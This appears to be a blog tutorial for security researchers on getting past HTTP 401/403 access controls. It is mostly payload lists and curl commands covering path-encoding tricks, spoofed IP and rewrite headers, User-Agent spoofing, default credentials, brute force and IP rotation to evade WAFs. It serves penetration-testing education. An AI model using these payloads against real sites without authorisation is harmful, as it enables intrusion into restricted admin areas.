HTTP 401/403 Bypass: A Practical Security Research Study Exploring Multiple Approaches to Bypass 🔓
As a security researcher, I absolutely love the rush of discovering a suspicious endpoint during reconnaissance. It’s exciting to think that you might have stumbled upon something important. However, that excitement can quickly turn into frustration when you’re met with a 401 or 403 HTTP response code. Trust me.
If you know what HTTP status codes are and what the 401 or 403 response means, skip the next section and go straight to the bypass techniques.
🔍 What Are 403 & 401 Errors?
Before we dive into the fun stuff, let’s quickly understand what these codes mean:
- 401 Unauthorized: The response code indicates that the client making the request is not authenticated and therefore does not have the necessary credentials to access the requested resource. This response is typically used when a server requires authentication to access a resource, and the client has not provided valid credentials or has not yet authenticated.
- 403 Forbidden: response code indicates that the client is authenticated, but does not have sufficient permissions to access the requested resource. This response is typically used when a server wants to prevent a client from accessing a resource, either because the client does not have the required permissions or because the resource is being intentionally hidden or restricted.
In short:
- 401 = Who are you?
- 403 = I know you, but you’re not allowed.
Time to Investigate. 🔍Bypass Methods
1. Method Swapping
Sometimes, just changing the HTTP method can bypass 401/403 restrictions
🔁
GET
HEAD
POST
PUT
DELETE
CONNECT
OPTIONS
TRACE
PATCH
FOO # non existant method also might workBouns Tips:
- Use
X-HTTP-Method-Override: GET - Try custom headers:
X-Original-Method,X-Forwarded-Method - Use
curl -X <METHOD>for quick CLI testing - Use tools like
SmugglerorBurp Turbo Intruderto automate swaps - Check backend framework — some treat methods differently!
🎯Example Target :
/admin → 403 (POST)
→ 200 (GET)2. Path Manipulation & Url Encoding Tricks
path to confuse WAFs or bypass access controls. This is another useful method, you can try to bypass 401 or 403 status code by adding symbols to find alternative paths. example.com/admin gives you 403? Try adding /%2e/ or /%252e/ to the path: example.com/%252e/admin and check results. You can also try other creative literals.
Example paths to fuzz
/admin → /admin/ (trailing slash)
/admin → /admin..;/ (double dot semicolon)
/admin → /admin%2f (URL-encoded slash)
/admin → /%2e/admin (dot encoding)
/admin → /./admin
/admin → /..%2fadmin
/admin → /admin..%00/ (null byte)
/admin%20/
/admin;.css
/admin.json
/api/v1/admin/../admin
/../
/...
/..%00
/..%01
/..%0a
/..%0d
/..%09
/~root
/~admin
/%20/
/%2e%2e/
/%252e%252e/
/%c0%af/
/%e0%80%af
/admin => /%2561dmin # Double URL-encoded "a"
/admin => /%2f%2fadmin # URL-encoded "//"
/admin => /;admin # Path parameter injection
# Test path variations with curl
curl --path-as-is http://target.com/secret/%2e%2e%2fadminURL Encoding Reference:
Tools to Automate:
- 🔗 Burp Suite Intruder
- 🔗 ffuf (Fuzz Faster U Fool)
- 🔗 feroxbuster (Fast Web Path Discovery)
- 🔗 SecLists (Payloads for Fuzzing)
Why it works:
- The WAF and backend may interpret the URL path differently.
- This difference can create gaps in access-control checks.
- Encoding tricks may bypass simple security filters if paths are not handled consistently.
/admin → 403 Forbidden
/%61dmin → 200 OK
/admin → 403 Forbidden
/%2561dmin → 200 OK
/admin → 403
/admin..;/ → 2003. HTTP Header Injection Bypasses
Some servers rely on HTTP headers to make security decisions, such as checking the client’s IP or authentication details. If these headers are trusted without proper validation, attackers may manipulate them to expose weaknesses in access controls.
Headers:
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Custom-IP-Authorization: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Forwarded: for=127.0.0.1
Other
X-Forwarded-For
X-Forward-For
X-Forwarded-Host
X-Forwarded-Proto
Forwarded
Via
X-Real-IP
X-Remote-IP
X-Remote-Addr
X-Trusted-IP
X-Requested-By
X-Requested-For
X-Forwarded-Server
Values:
10.0.0.0
10.0.0.1
127.0.0.1
127.0.0.1:443
127.0.0.1:80
localhost
172.16.0.0Test like:
curl -i https://TARGET.example/admin \
-H "X-Forwarded-For: 127.0.0.1"
or
curl -H "X-Original-URL: /admin" https://target.com
curl -H "X-Forwarded-For: 127.0.0.1" https://target.comuse:
- Burp Suite Repeater
- Postman
curlorhttpiefor quick CLI testing
4. IP Whitelisting Bypass
Some endpoints are restricted to internal IPs (like 127.0.0.1) or cloud IP ranges 🕵️♂️
Spoof headers:
X-Forwarded-For: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
Forwarded: for=127.0.0.1Combine multiple headers for better results 👇
curl -H "X-Forwarded-For: 127.0.0.1" \
-H "X-Client-IP: 127.0.0.1" \
https://target.com/admin☁️ Use cloud IPs
- Spin up a server on AWS, GCP, or Azure
- Some systems whitelist entire cloud IP blocks
🔁 Rotate IPs with:
- torify
- proxychains
- VPNs or SOCKS proxies
5. User-Agent fuzzing
Some websites block or allow access based on your User-Agent string
Get Z1Y4D | Cybersecurity Researcher’s stories in your inbox
Join Medium for free to get updates from this writer.
try to spoof your User-Agent:
User-Agent: Googlebot
User-Agent: Bingbot
User-Agent: curl/7.68.0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Mozilla/5.0 (X11; Linux i686; U;rv: 1.7.13) Gecko/20070322
Kazehakase/0.4.4.1
Mozilla/5.0 (X11; U; Linux 2.4.2-2 i586; en-US; m18) Gecko/20010131
Netscape6/6.01
Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.8.0.2) Gecko/20060309
SeaMonkey/1.0
Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.7.6) Gecko/20050405
Epiphany/1.6.1 (Ubuntu) (Ubuntu package 1.0.2)
Mozilla/5.0 (X11; U; Linux i686; en-US; Nautilus/1.0Final)
Gecko/20020408
Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.3) Gecko/20010801Example:
curl -A "Googlebot" https://target.com/hidden-admin🎯 Some sites expose hidden content to bots (SEO), or treat curl and script-based agents differently.
🧰 Tools:
curl -A "<agent>"- Burp Suite → Repeater → Headers → Modify
User-Agent
6. Authentication Misconfigurations
Weak or broken auth controls can let you slip right in 😈
Try these:
- Default creds:
admin:admin,guest:guest,test:test - IDOR on session/token → Modify
session_idor JWT payload - Pre-auth access → Hit endpoints before login, then compare after login
- Weak password policies → Try simple brute force
🎯 Example:
curl -u admin:admin https://target.com/admin📚 Reference:
🧰 Tools:
7. HTTP Smuggling
Advanced, but deadly.
By crafting malformed HTTP requests (with Transfer-Encoding and Content-Length confusion), you can bypass protections.
🔗 Read more: PortSwigger on HTTP Smuggling
Tools:
- Burp Suite Professional
- Smuggler.py
8. Referrer & Origin Header Tricks
Sometimes a service checks if the request is coming from a known page.
Try manipulating:
Referer: https://trusted.com/dashboard
Origin: https://trusted.com9. Case Sensitivity and Encoding
Try playing with path case or encodings:
/admin -> /AdMiN
/admin -> /%61dmin
/admin -> /admin%00Try full Unicode bypasses too:
/admin -> /%u2215admin10. Automation Tools to Help You
Here’s a handy list of tools to automate or help:
- 🔍 ffuf
- 🐙 Burp Suite
- 🚪 403bypasser
- 🧰 Paramspider
- 🕷️ Arjun
Real-World Examples
✅ Case 1: Bypassing via X-Original-URL
An endpoint /admin returned 403 Forbidden. By adding X-Original-URL: /admin in the request headers, the server allowed access. 🤯
✅ Case 2: Whitelisted Googlebot UA
The server was only showing pages to Googlebot. Changing the User-Agent to Googlebot revealed admin panel.
✅ Case 3: Burp Extension Magic
Using 403Bypasser Burp plugin, a pentester got past a restricted /private directory by chaining multiple headers and method changes.
Bonus: CDN & WAF Evasion
Sometimes the block is at CDN/WAF level. Try these:
- Add ? or # at end of URLs
- Use subdomains instead of root domain
- Use TOR or proxy IPs
Final Thoughts
403 and 401 aren’t dead ends — they’re just challenges. With the right mindset and tools, you can often find creative ways around them.
🔒 Use these tricks ethically. Always have permission and follow responsible disclosure.




